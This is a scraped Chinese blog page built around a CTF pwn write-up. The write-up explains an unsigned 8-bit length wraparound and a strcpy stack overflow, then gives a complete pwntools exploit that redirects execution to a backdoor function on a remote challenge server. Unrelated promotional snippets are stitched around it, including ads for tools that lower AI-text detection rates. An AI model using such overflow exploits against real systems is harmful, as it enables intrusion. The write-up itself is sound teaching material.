news 2026/8/31 21:56:21

hon 的王牌数据结构之一,掌握它们,你的代码会更简洁更高效。 参考文章: Python 使用 Dict 和 Set | 简单一点学 ...

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
hon 的王牌数据结构之一,掌握它们,你的代码会更简洁更高效。 参考文章: Python 使用 Dict 和 Set | 简单一点学 ...

卦业局型file,checksec:

image

main函数:

image

login函数:

image

程序先让用户输入用户名,并存储到变量 s 中,之后再从 s 中读取 0x19 位,并打印出来。然后让用户输入密码,读取 0x199 个字节存储到 buf 缓冲区,然后检查 buf。

check_passwd函数:

image

程序创建了一个 in8 类型无符号的 v3 变量,之后检查 v3 的长度,如果长度在 3-8 之间则打印 success,并把变量 s 复制到 dest 变量中,这个 srcpy() 就是一个会造成栈溢出的函数,因为他在复制时不会考虑长度。但是若 v3 长度不在 3-8 之间,则返回密码无效。

程序创建了一个 in8 类型无符号的 v3 变量,之后检查 v3 的长度,如果长度在 3-8 之间则打印 success,并把变量 s 复制到 dest 变量中,这个 srcpy() 就是一个会造成栈溢出的函数,因为他在复制时不会考虑长度。但是若 v3 长度不在 3-8 之间,则返回密码无效。

以下参考 1000x_ 师傅的文章:

无符号 int8 的最大值是 2^8-1=255,因为多出来的部分在 C/C++ 代码中会回绕,即 256 回绕成 0 ,257 回绕成 1 ,以此类推,我们需要字符长度到达 3 的话,我们传入的大小最小应该为 259。

攻击思路:首先在choice时,选择 1,再输入用户名(随便输入),之后再溢出密码区域,dest 和 s。

查看 dest 的栈,它需要溢出 0x14+4,之后让其跳转到 backdoor 函数,也就是 what_is_this 函数的内存地址,但是,想要让复制操作执行,首先需要通过前面的 if ( v3 <= 3u || v3 > 8u ) 语句,即:让 v3 = strlen(s) 的长度保持在 0x04~0x08,也就是 buf 的长度要保持在 0x104~0x108。

因此,除去前面为 buf 构造 payload 所用的 b'a' * (0x14 - 0x00 + 0x04) + p32(elf.symbols["what_is_this"]) 以外,还要在后面继续填充垃圾字符,让 buf 的长度在 0x104~0x108 之间。

exp:

from pwn import *

from LibcSearcher import *

#start

r = remote('61.147.171.103',59035)

elf = ELF('./pwn')

context.log_level = 'debug'

#params

backdoor_addr = elf.symbols['what_is_this']

#attack

payload = b'a'*(0x14+4) + p32(backdoor_addr)

payload = payload.ljust(0x104,b'a') #实现在 `payload` 右边添加 `b'a'` 一直将 `payload` 的长度填充至 `0x104`

r.sendlineafter(b'choice',b'1')

r.sendlineafter(b'username',b'111')

r.sendlineafter(b'passwd',payload)

r.interactive()

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/8/29 14:16:12

别再瞎找了!专科生专属降AIGC工具 —— 千笔·降AI率助手

在AI技术快速发展的今天&#xff0c;越来越多的专科生开始借助AI工具辅助论文写作&#xff0c;以提升效率和内容质量。然而&#xff0c;随着学术查重系统对AI生成内容的识别能力不断提升&#xff0c;AI率超标问题逐渐成为困扰学生的“隐形炸弹”。面对市面上五花八门的降AI率和…

作者头像 李华
网站建设 2026/8/21 10:04:59

强烈安利 9个降AIGC软件:自考降AI率必备工具深度测评

在当前学术写作日益依赖AI工具的背景下&#xff0c;如何有效降低AIGC率、去除AI痕迹并保持论文的原创性与流畅性&#xff0c;成为自考学生和研究者面临的重要课题。随着各大高校对AI生成内容检测技术的不断升级&#xff0c;单纯依靠AI辅助写作已难以满足查重要求&#xff0c;因…

作者头像 李华
网站建设 2026/8/29 3:57:25

更复杂的代码,为何跑得快了倍?一次Draw Call优化引发的思考

莱怀挪促什么是Character&#xff1f;什么是Glyph&#xff1f;Character和Glyph是否一一对应&#xff1f;我们常说的Font又包含哪些东西&#xff1f;如果要自己实现一套文本的分词、测量和布局&#xff0c;又需要理清楚哪些概念&#xff1f;ascent、descent、lineHeight之间的关…

作者头像 李华
网站建设 2026/8/21 13:56:06

隐私保护手机推荐排行榜:这五款守护数字生活

在移动互联网深度融入日常的今天&#xff0c;智能手机已成为承载个人隐私与敏感数据的核心终端。从生物识别信息到支付凭证&#xff0c;每一次触屏操作都在产生数据足迹。当AI技术让手机变得更“懂你”的同时&#xff0c;如何在智能体验与隐私安全之间取得平衡&#xff0c;成为…

作者头像 李华
网站建设 2026/8/30 0:45:29

PT153S方寸微 千兆网卡芯片 优势替代RTL8153 替代AX88179 国产pin to pin瑞昱

PT153 S 是方寸微电子自主研发的一款全国产化 USB 千兆网卡芯片&#xff0c;该芯片具有功能丰富 、性能强劲、功耗低等特点&#xff0c; 可广泛应用于 USB 千兆网卡、扩展坞、 PC、嵌入式工业主板等 众多电子产品。该芯片集成国产 32 位高性能 RISC-V CPU&#xff0c;并集成国产…

作者头像 李华